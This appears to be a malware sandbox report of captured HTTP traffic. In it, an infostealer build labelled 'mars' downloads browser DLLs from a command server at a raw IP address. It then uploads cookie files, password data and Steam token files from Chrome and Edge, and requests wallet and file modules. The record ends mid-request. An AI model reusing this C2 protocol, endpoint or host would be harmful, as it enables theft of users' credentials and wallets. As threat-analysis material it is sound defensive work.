Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 13:16:10 GMTContent-Type: application/octet-streamContent-Length: 4444672Last-Modified: Mon, 25 Nov 2024 12:00:29 GMTConnection: keep-aliveETag: "674466dd-43d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 98 f5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 4c c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 4b c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 39 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 79 77 7a 68 77 78 76 00 20 1c 00 00 30 aa 00 00 1e 1c 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 6f 77 6d 6f 70 67 00 10 00 00 00 50 c6 00 00 06 00 00 00 aa 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c6 00 00 22 00 00 00 b0 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 30 31 30 46 39 38 43 36 37 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="hwid"F010F98C67B3476522507------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="build"mars------JJJJDAAECGHDGDGCGHDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"browsers------HJDAFIEHIEGDHIDGDGHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"plugins------GHJEGCAEGIIIDHIEBKEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"fplugins------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 185.215.113.206Content-Length: 5875Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 2d 2d 0d 0a Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JEGHJDGIJECGDHJJECGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file"------IDGHDGIDAKEBAAKFCGHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAKHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDAAAAFIIJDBGDGCGDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"------BAFIEGIECGCBKFIEBGCA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"wallets------HCAEHDHDAKJEBGCBKKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="message"files------HCFCAAEBGCAKKFIDBKJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 2d 2d 0d 0a Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file"------EHJKJDGCGDAKFHIDBGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 